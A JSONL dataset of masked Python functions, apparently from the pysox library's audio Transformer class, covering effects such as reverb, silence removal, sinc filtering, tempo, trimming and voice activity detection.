{"signature": "def repeat(self, count=<NUM_LIT:1>):", "body": "if not isinstance(count, int) or count < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = ['<STR_LIT>', '<STR_LIT:{}>'.format(count)]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>", "docstring": "Repeat the entire audio count times.\n\n        Parameters\n        ----------\n        count : int, default=1\n            The number of times to repeat the audio.", "id": "f3809:c0:m45"}
{"signature": "def reverb(self, reverberance=<NUM_LIT:50>, high_freq_damping=<NUM_LIT:50>, room_scale=<NUM_LIT:100>,<EOL>stereo_depth=<NUM_LIT:100>, pre_delay=<NUM_LIT:0>, wet_gain=<NUM_LIT:0>, wet_only=False):", "body": "if (not is_number(reverberance) or reverberance < <NUM_LIT:0> or<EOL>reverberance > <NUM_LIT:100>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if (not is_number(high_freq_damping) or high_freq_damping < <NUM_LIT:0> or<EOL>high_freq_damping > <NUM_LIT:100>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if (not is_number(room_scale) or room_scale < <NUM_LIT:0> or<EOL>room_scale > <NUM_LIT:100>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if (not is_number(stereo_depth) or stereo_depth < <NUM_LIT:0> or<EOL>stereo_depth > <NUM_LIT:100>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(pre_delay) or pre_delay < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(wet_gain):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(wet_only, bool):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>if wet_only:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>effect_args.extend([<EOL>'<STR_LIT>'.format(reverberance),<EOL>'<STR_LIT>'.format(high_freq_damping),<EOL>'<STR_LIT>'.format(room_scale),<EOL>'<STR_LIT>'.format(stereo_depth),<EOL>'<STR_LIT>'.format(pre_delay),<EOL>'<STR_LIT>'.format(wet_gain)<EOL>])<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Add reverberation to the audio using the \u2018freeverb\u2019 algorithm.\n        A reverberation effect is sometimes desirable for concert halls that\n        are too small or contain so many people that the hall\u2019s natural\n        reverberance is diminished. Applying a small amount of stereo reverb\n        to a (dry) mono signal will usually make it sound more natural.\n\n        Parameters\n        ----------\n        reverberance : float, default=50\n            Percentage of reverberance\n        high_freq_damping : float, default=50\n            Percentage of high-frequency damping.\n        room_scale : float, default=100\n            Scale of the room as a percentage.\n        stereo_depth : float, default=100\n            Stereo depth as a percentage.\n        pre_delay : float, default=0\n            Pre-delay in milliseconds.\n        wet_gain : float, default=0\n            Amount of wet gain in dB\n        wet_only : bool, default=False\n            If True, only outputs the wet signal.\n\n        See Also\n        --------\n        echo", "id": "f3809:c0:m46"}
{"signature": "def reverse(self):", "body": "effect_args = ['<STR_LIT>']<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Reverse the audio completely", "id": "f3809:c0:m47"}
{"signature": "def silence(self, location=<NUM_LIT:0>, silence_threshold=<NUM_LIT:0.1>,<EOL>min_silence_duration=<NUM_LIT:0.1>, buffer_around_silence=False):", "body": "if location not in [-<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(silence_threshold) or silence_threshold < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>elif silence_threshold >= <NUM_LIT:100>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not is_number(min_silence_duration) or min_silence_duration <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not isinstance(buffer_around_silence, bool):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = []<EOL>if location == -<NUM_LIT:1>:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>if buffer_around_silence:<EOL><INDENT>effect_args.extend(['<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>effect_args.extend([<EOL>'<STR_LIT:1>',<EOL>'<STR_LIT>'.format(min_silence_duration),<EOL>'<STR_LIT>'.format(silence_threshold)<EOL>])<EOL>if location == <NUM_LIT:0>:<EOL><INDENT>effect_args.extend([<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(min_silence_duration),<EOL>'<STR_LIT>'.format(silence_threshold)<EOL>])<EOL><DEDENT>if location == -<NUM_LIT:1>:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Removes silent regions from an audio file.\n\n        Parameters\n        ----------\n        location : int, default=0\n            Where to remove silence. One of:\n             * 0 to remove silence throughout the file (default),\n             * 1 to remove silence from the beginning,\n             * -1 to remove silence from the end,\n        silence_threshold : float, default=0.1\n            Silence threshold as percentage of maximum sample amplitude.\n            Must be between 0 and 100.\n        min_silence_duration : float, default=0.1\n            The minimum ammount of time in seconds required for a region to be\n            considered non-silent.\n        buffer_around_silence : bool, default=False\n            If True, leaves a buffer of min_silence_duration around removed\n            silent regions.\n\n        See Also\n        --------\n        vad", "id": "f3809:c0:m48"}
{"signature": "def sinc(self, filter_type='<STR_LIT>', cutoff_freq=<NUM_LIT>,<EOL>stop_band_attenuation=<NUM_LIT>, transition_bw=None,<EOL>phase_response=None):", "body": "filter_types = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>if filter_type not in filter_types:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format('<STR_LIT:U+002CU+0020>'.join(filter_types))<EOL>)<EOL><DEDENT>if not (is_number(cutoff_freq) or isinstance(cutoff_freq, list)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if filter_type in ['<STR_LIT>', '<STR_LIT>'] and isinstance(cutoff_freq, list):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if filter_type in ['<STR_LIT>', '<STR_LIT>'] and is_number(cutoff_freq):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if is_number(cutoff_freq) and cutoff_freq <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(cutoff_freq, list):<EOL><INDENT>if len(cutoff_freq) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if any([not is_number(f) or f <= <NUM_LIT:0> for f in cutoff_freq]):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>cutoff_freq = sorted(cutoff_freq)<EOL><DEDENT>if not is_number(stop_band_attenuation) or stop_band_attenuation < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not (is_number(transition_bw) or<EOL>isinstance(transition_bw, list) or transition_bw is None):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if filter_type in ['<STR_LIT>', '<STR_LIT>'] and isinstance(transition_bw, list):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if is_number(transition_bw) and transition_bw <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(transition_bw, list):<EOL><INDENT>if any([not is_number(f) or f <= <NUM_LIT:0> for f in transition_bw]):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if len(transition_bw) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>if phase_response is not None and not is_number(phase_response):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if (is_number(phase_response) and<EOL>(phase_response < <NUM_LIT:0> or phase_response > <NUM_LIT:100>)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>effect_args.extend(['<STR_LIT>', '<STR_LIT>'.format(stop_band_attenuation)])<EOL>if phase_response is not None:<EOL><INDENT>effect_args.extend(['<STR_LIT>', '<STR_LIT>'.format(phase_response)])<EOL><DEDENT>if filter_type == '<STR_LIT>':<EOL><INDENT>if transition_bw is not None:<EOL><INDENT>effect_args.extend(['<STR_LIT>', '<STR_LIT>'.format(transition_bw)])<EOL><DEDENT>effect_args.append('<STR_LIT>'.format(cutoff_freq))<EOL><DEDENT>elif filter_type == '<STR_LIT>':<EOL><INDENT>effect_args.append('<STR_LIT>'.format(cutoff_freq))<EOL>if transition_bw is not None:<EOL><INDENT>effect_args.extend(['<STR_LIT>', '<STR_LIT>'.format(transition_bw)])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if is_number(transition_bw):<EOL><INDENT>effect_args.extend(['<STR_LIT>', '<STR_LIT>'.format(transition_bw)])<EOL><DEDENT>elif isinstance(transition_bw, list):<EOL><INDENT>effect_args.extend(['<STR_LIT>', '<STR_LIT>'.format(transition_bw[<NUM_LIT:0>])])<EOL><DEDENT><DEDENT>if filter_type == '<STR_LIT>':<EOL><INDENT>effect_args.append(<EOL>'<STR_LIT>'.format(cutoff_freq[<NUM_LIT:0>], cutoff_freq[<NUM_LIT:1>])<EOL>)<EOL><DEDENT>elif filter_type == '<STR_LIT>':<EOL><INDENT>effect_args.append(<EOL>'<STR_LIT>'.format(cutoff_freq[<NUM_LIT:1>], cutoff_freq[<NUM_LIT:0>])<EOL>)<EOL><DEDENT>if isinstance(transition_bw, list):<EOL><INDENT>effect_args.extend(['<STR_LIT>', '<STR_LIT>'.format(transition_bw[<NUM_LIT:1>])])<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a sinc kaiser-windowed low-pass, high-pass, band-pass, or\n        band-reject filter to the signal.\n\n        Parameters\n        ----------\n        filter_type : str, default='high'\n            Type of filter. One of:\n                - 'high' for a high-pass filter\n                - 'low' for a low-pass filter\n                - 'pass' for a band-pass filter\n                - 'reject' for a band-reject filter\n        cutoff_freq : float or list, default=3000\n            A scalar or length 2 list indicating the filter's critical\n            frequencies. The critical frequencies are given in Hz and must be\n            positive. For a high-pass or low-pass filter, cutoff_freq\n            must be a scalar. For a band-pass or band-reject filter, it must be\n            a length 2 list.\n        stop_band_attenuation : float, default=120\n            The stop band attenuation in dB\n        transition_bw : float, list or None, default=None\n            The transition band-width in Hz.\n            If None, sox's default of 5% of the total bandwith is used.\n            If a float, the given transition bandwith is used for both the\n            upper and lower bands (if applicable).\n            If a list, the first argument is used for the lower band and the\n            second for the upper band.\n        phase_response : float or None\n            The filter's phase response between 0 (minimum) and 100 (maximum).\n            If None, sox's default phase repsonse is used.\n\n        See Also\n        --------\n        band, bandpass, bandreject, highpass, lowpass", "id": "f3809:c0:m49"}
{"signature": "def speed(self, factor):", "body": "if not is_number(factor) or factor <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if factor < <NUM_LIT:0.5> or factor > <NUM_LIT:2>:<EOL><INDENT>logger.warning(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>effect_args = ['<STR_LIT>', '<STR_LIT>'.format(factor)]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Adjust the audio speed (pitch and tempo together).\n\n        Technically, the speed effect only changes the sample rate information,\n        leaving the samples themselves untouched. The rate effect is invoked\n        automatically to resample to the output sample rate, using its default\n        quality/speed. For higher quality or higher speed resampling, in\n        addition to the speed effect, specify the rate effect with the desired\n        quality option.\n\n        Parameters\n        ----------\n        factor : float\n            The ratio of the new speed to the old speed.\n            For ex. 1.1 speeds up the audio by 10%; 0.9 slows it down by 10%.\n            Note - this argument is the inverse of what is passed to the sox\n            stretch effect for consistency with speed.\n\n        See Also\n        --------\n        rate, tempo, pitch", "id": "f3809:c0:m50"}
{"signature": "def stat(self, input_filepath, scale=None, rms=False):", "body": "effect_args = ['<STR_LIT>', '<STR_LIT:1>', '<STR_LIT>']<EOL>if scale is not None:<EOL><INDENT>if not is_number(scale) or scale <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args.extend(['<STR_LIT>', '<STR_LIT>'.format(scale)])<EOL><DEDENT>if rms:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>_, _, stat_output = self.build(<EOL>input_filepath, None, extra_args=effect_args, return_output=True<EOL>)<EOL>stat_dict = {}<EOL>lines = stat_output.split('<STR_LIT:\\n>')<EOL>for line in lines:<EOL><INDENT>split_line = line.split()<EOL>if len(split_line) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>value = split_line[-<NUM_LIT:1>]<EOL>key = '<STR_LIT:U+0020>'.join(split_line[:-<NUM_LIT:1>])<EOL>stat_dict[key.strip('<STR_LIT::>')] = value<EOL><DEDENT>return stat_dict<EOL>", "docstring": "Display time and frequency domain statistical information about the\n        audio. Audio is passed unmodified through the SoX processing chain.\n\n        Unlike other Transformer methods, this does not modify the transformer\n        effects chain. Instead it computes statistics on the output file that\n        would be created if the build command were invoked.\n\n        Note: The file is downmixed to mono prior to computation.\n\n        Parameters\n        ----------\n        input_filepath : str\n            Path to input file to compute stats on.\n        scale : float or None, default=None\n            If not None, scales the input by the given scale factor.\n        rms : bool, default=False\n            If True, scales all values by the average rms amplitude.\n\n        Returns\n        -------\n        stat_dict : dict\n            Dictionary of statistics.\n\n        See Also\n        --------\n        stats, power_spectrum, sox.file_info", "id": "f3809:c0:m51"}
{"signature": "def power_spectrum(self, input_filepath):", "body": "effect_args = ['<STR_LIT>', '<STR_LIT:1>', '<STR_LIT>', '<STR_LIT>']<EOL>_, _, stat_output = self.build(<EOL>input_filepath, None, extra_args=effect_args, return_output=True<EOL>)<EOL>power_spectrum = []<EOL>lines = stat_output.split('<STR_LIT:\\n>')<EOL>for line in lines:<EOL><INDENT>split_line = line.split()<EOL>if len(split_line) != <NUM_LIT:2>:<EOL><INDENT>continue<EOL><DEDENT>freq, amp = split_line<EOL>power_spectrum.append([float(freq), float(amp)])<EOL><DEDENT>return power_spectrum<EOL>", "docstring": "Calculates the power spectrum (4096 point DFT). This method\n        internally invokes the stat command with the -freq option.\n\n        Note: The file is downmixed to mono prior to computation.\n\n        Parameters\n        ----------\n        input_filepath : str\n            Path to input file to compute stats on.\n\n        Returns\n        -------\n        power_spectrum : list\n            List of frequency (Hz), amplitude pairs.\n\n        See Also\n        --------\n        stat, stats, sox.file_info", "id": "f3809:c0:m52"}
{"signature": "def stats(self, input_filepath):", "body": "effect_args = ['<STR_LIT>', '<STR_LIT:1>', '<STR_LIT>']<EOL>_, _, stats_output = self.build(<EOL>input_filepath, None, extra_args=effect_args, return_output=True<EOL>)<EOL>stats_dict = {}<EOL>lines = stats_output.split('<STR_LIT:\\n>')<EOL>for line in lines:<EOL><INDENT>split_line = line.split()<EOL>if len(split_line) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>value = split_line[-<NUM_LIT:1>]<EOL>key = '<STR_LIT:U+0020>'.join(split_line[:-<NUM_LIT:1>])<EOL>stats_dict[key] = value<EOL><DEDENT>return stats_dict<EOL>", "docstring": "Display time domain statistical information about the audio\n        channels. Audio is passed unmodified through the SoX processing chain.\n        Statistics are calculated and displayed for each audio channel\n\n        Unlike other Transformer methods, this does not modify the transformer\n        effects chain. Instead it computes statistics on the output file that\n        would be created if the build command were invoked.\n\n        Note: The file is downmixed to mono prior to computation.\n\n        Parameters\n        ----------\n        input_filepath : str\n            Path to input file to compute stats on.\n\n        Returns\n        -------\n        stats_dict : dict\n            List of frequency (Hz), amplitude pairs.\n\n        See Also\n        --------\n        stat, sox.file_info", "id": "f3809:c0:m53"}
{"signature": "def stretch(self, factor, window=<NUM_LIT:20>):", "body": "if not is_number(factor) or factor <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if factor < <NUM_LIT:0.5> or factor > <NUM_LIT:2>:<EOL><INDENT>logger.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if abs(factor - <NUM_LIT:1.0>) > <NUM_LIT:0.1>:<EOL><INDENT>logger.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not is_number(window) or window <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>effect_args = ['<STR_LIT>', '<STR_LIT>'.format(factor), '<STR_LIT>'.format(window)]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Change the audio duration (but not its pitch).\n        **Unless factor is close to 1, use the tempo effect instead.**\n\n        This effect is broadly equivalent to the tempo effect with search set\n        to zero, so in general, its results are comparatively poor; it is\n        retained as it can sometimes out-perform tempo for small factors.\n\n        Parameters\n        ----------\n        factor : float\n            The ratio of the new tempo to the old tempo.\n            For ex. 1.1 speeds up the tempo by 10%; 0.9 slows it down by 10%.\n            Note - this argument is the inverse of what is passed to the sox\n            stretch effect for consistency with tempo.\n        window : float, default=20\n            Window size in miliseconds\n\n        See Also\n        --------\n        tempo, speed, pitch", "id": "f3809:c0:m54"}
{"signature": "def swap(self):", "body": "effect_args = ['<STR_LIT>']<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Swap stereo channels. If the input is not stereo, pairs of channels\n        are swapped, and a possible odd last channel passed through.\n\n        E.g., for seven channels, the output order will be 2, 1, 4, 3, 6, 5, 7.\n\n        See Also\n        ----------\n        remix", "id": "f3809:c0:m55"}
{"signature": "def tempo(self, factor, audio_type=None, quick=False):", "body": "if not is_number(factor) or factor <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if factor < <NUM_LIT:0.5> or factor > <NUM_LIT:2>:<EOL><INDENT>logger.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if abs(factor - <NUM_LIT:1.0>) <= <NUM_LIT:0.1>:<EOL><INDENT>logger.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if audio_type not in [None, '<STR_LIT:m>', '<STR_LIT:s>', '<STR_LIT:l>']:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not isinstance(quick, bool):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>if quick:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>if audio_type is not None:<EOL><INDENT>effect_args.append('<STR_LIT>'.format(audio_type))<EOL><DEDENT>effect_args.append('<STR_LIT>'.format(factor))<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Time stretch audio without changing pitch.\n\n        This effect uses the WSOLA algorithm. The audio is chopped up into\n        segments which are then shifted in the time domain and overlapped\n        (cross-faded) at points where their waveforms are most similar as\n        determined by measurement of least squares.\n\n        Parameters\n        ----------\n        factor : float\n            The ratio of new tempo to the old tempo.\n            For ex. 1.1 speeds up the tempo by 10%; 0.9 slows it down by 10%.\n        audio_type : str\n            Type of audio, which optimizes algorithm parameters. One of:\n             * m : Music,\n             * s : Speech,\n             * l : Linear (useful when factor is close to 1),\n        quick : bool, default=False\n            If True, this effect will run faster but with lower sound quality.\n\n        See Also\n        --------\n        stretch, speed, pitch", "id": "f3809:c0:m56"}
{"signature": "def treble(self, gain_db, frequency=<NUM_LIT>, slope=<NUM_LIT:0.5>):", "body": "if not is_number(gain_db):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(frequency) or frequency <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(slope) or slope <= <NUM_LIT:0> or slope > <NUM_LIT:1.0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>', '<STR_LIT>'.format(gain_db), '<STR_LIT>'.format(frequency),<EOL>'<STR_LIT>'.format(slope)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Boost or cut the treble (lower) frequencies of the audio using a\n        two-pole shelving filter with a response similar to that of a standard\n        hi-fi\u2019s tone-controls. This is also known as shelving equalisation.\n\n        The filters are described in detail in\n        http://musicdsp.org/files/Audio-EQ-Cookbook.txt\n\n        Parameters\n        ----------\n        gain_db : float\n            The gain at the Nyquist frequency.\n            For a large cut use -20, for a large boost use 20.\n        frequency : float, default=100.0\n            The filter's cutoff frequency in Hz.\n        slope : float, default=0.5\n            The steepness of the filter's shelf transition.\n            For a gentle slope use 0.3, and use 1.0 for a steep slope.\n\n        See Also\n        --------\n        bass, equalizer", "id": "f3809:c0:m57"}
{"signature": "def tremolo(self, speed=<NUM_LIT>, depth=<NUM_LIT>):", "body": "if not is_number(speed) or speed <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(depth) or depth <= <NUM_LIT:0> or depth > <NUM_LIT:100>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(speed),<EOL>'<STR_LIT>'.format(depth)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a tremolo (low frequency amplitude modulation) effect to the\n        audio. The tremolo frequency in Hz is giv en by speed, and the depth\n        as a percentage by depth (default 40).\n\n        Parameters\n        ----------\n        speed : float\n            Tremolo speed in Hz.\n        depth : float\n            Tremolo depth as a percentage of the total amplitude.\n\n        See Also\n        --------\n        flanger\n\n        Examples\n        --------\n        >>> tfm = sox.Transformer()\n\n        For a growl-type effect\n\n        >>> tfm.tremolo(speed=100.0)", "id": "f3809:c0:m58"}
{"signature": "def trim(self, start_time, end_time=None):", "body": "if not is_number(start_time) or start_time < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(start_time)<EOL>]<EOL>if end_time is not None:<EOL><INDENT>if not is_number(end_time) or end_time < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if start_time >= end_time:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args.append('<STR_LIT>'.format(end_time - start_time))<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Excerpt a clip from an audio file, given the start timestamp and end timestamp of the clip within the file, expressed in seconds. If the end timestamp is set to `None` or left unspecified, it defaults to the duration of the audio file.\n\n        Parameters\n        ----------\n        start_time : float\n            Start time of the clip (seconds)\n        end_time : float or None, default=None\n            End time of the clip (seconds)", "id": "f3809:c0:m59"}
{"signature": "def upsample(self, factor=<NUM_LIT:2>):", "body": "if not isinstance(factor, int) or factor < <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>effect_args = ['<STR_LIT>', '<STR_LIT:{}>'.format(factor)]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Upsample the signal by an integer factor: zero-value samples are\n        inserted between each pair of input samples. As a result, the original\n        spectrum is replicated into the new frequency space (imaging) and\n        attenuated. The upsample effect is typically used in combination with\n        filtering effects.\n\n        Parameters\n        ----------\n        factor : int, default=2\n            Integer upsampling factor.\n\n        See Also\n        --------\n        rate, downsample", "id": "f3809:c0:m60"}
{"signature": "def vad(self, location=<NUM_LIT:1>, normalize=True, activity_threshold=<NUM_LIT>,<EOL>min_activity_duration=<NUM_LIT>, initial_search_buffer=<NUM_LIT:1.0>,<EOL>max_gap=<NUM_LIT>, initial_pad=<NUM_LIT:0.0>):", "body": "if location not in [-<NUM_LIT:1>, <NUM_LIT:1>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(normalize, bool):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(activity_threshold):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(min_activity_duration) or min_activity_duration < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(initial_search_buffer) or initial_search_buffer < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(max_gap) or max_gap < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(initial_pad) or initial_pad < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = []<EOL>if normalize:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>if location == -<NUM_LIT:1>:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>effect_args.extend([<EOL>'<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'.format(activity_threshold),<EOL>'<STR_LIT>', '<STR_LIT>'.format(min_activity_duration),<EOL>'<STR_LIT>', '<STR_LIT>'.format(initial_search_buffer),<EOL>'<STR_LIT>', '<STR_LIT>'.format(max_gap),<EOL>'<STR_LIT>', '<STR_LIT>'.format(initial_pad)<EOL>])<EOL>if location == -<NUM_LIT:1>:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Voice Activity Detector. Attempts to trim silence and quiet\n        background sounds from the ends of recordings of speech. The algorithm\n        currently uses a simple cepstral power measurement to detect voice, so\n        may be fooled by other things, especially music.\n\n        The effect can trim only from the front of the audio, so in order to\n        trim from the back, the reverse effect must also be used.\n\n        Parameters\n        ----------\n        location : 1 or -1, default=1\n            If 1, trims silence from the beginning\n            If -1, trims silence from the end\n        normalize : bool, default=True\n            If true, normalizes audio before processing.\n        activity_threshold : float, default=7.0\n            The measurement level used to trigger activity detection. This may\n            need to be cahnged depending on the noise level, signal level, and\n            other characteristics of the input audio.\n        min_activity_duration : float, default=0.25\n            The time constant (in seconds) used to help ignore short bursts of\n            sound.\n        initial_search_buffer : float, default=1.0\n            The amount of audio (in seconds) to search for quieter/shorter\n            bursts of audio to include prior to the detected trigger point.\n        max_gap : float, default=0.25\n            The allowed gap (in seconds) between quiteter/shorter bursts of\n            audio to include prior to the detected trigger point\n        initial_pad : float, default=0.0\n            The amount of audio (in seconds) to preserve before the trigger\n            point and any found quieter/shorter bursts.\n\n        See Also\n        --------\n        silence\n\n        Examples\n        --------\n        >>> tfm = sox.Transformer()\n\n        Remove silence from the beginning of speech\n\n        >>> tfm.vad(initial_pad=0.3)\n\n        Remove silence from the end of speech\n\n        >>> tfm.vad(location=-1, initial_pad=0.2)", "id": "f3809:c0:m61"}
{"signature": "def vol(self, gain, gain_type='<STR_LIT>', limiter_gain=None):", "body": "if not is_number(gain):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if limiter_gain is not None:<EOL><INDENT>if (not is_number(limiter_gain) or<EOL>limiter_gain <= <NUM_LIT:0> or limiter_gain >= <NUM_LIT:1>):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT>if gain_type in ['<STR_LIT>', '<STR_LIT>'] and gain < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>effect_args.append('<STR_LIT>'.format(gain))<EOL>if gain_type == '<STR_LIT>':<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>elif gain_type == '<STR_LIT>':<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>elif gain_type == '<STR_LIT>':<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if limiter_gain is not None:<EOL><INDENT>if gain_type in ['<STR_LIT>', 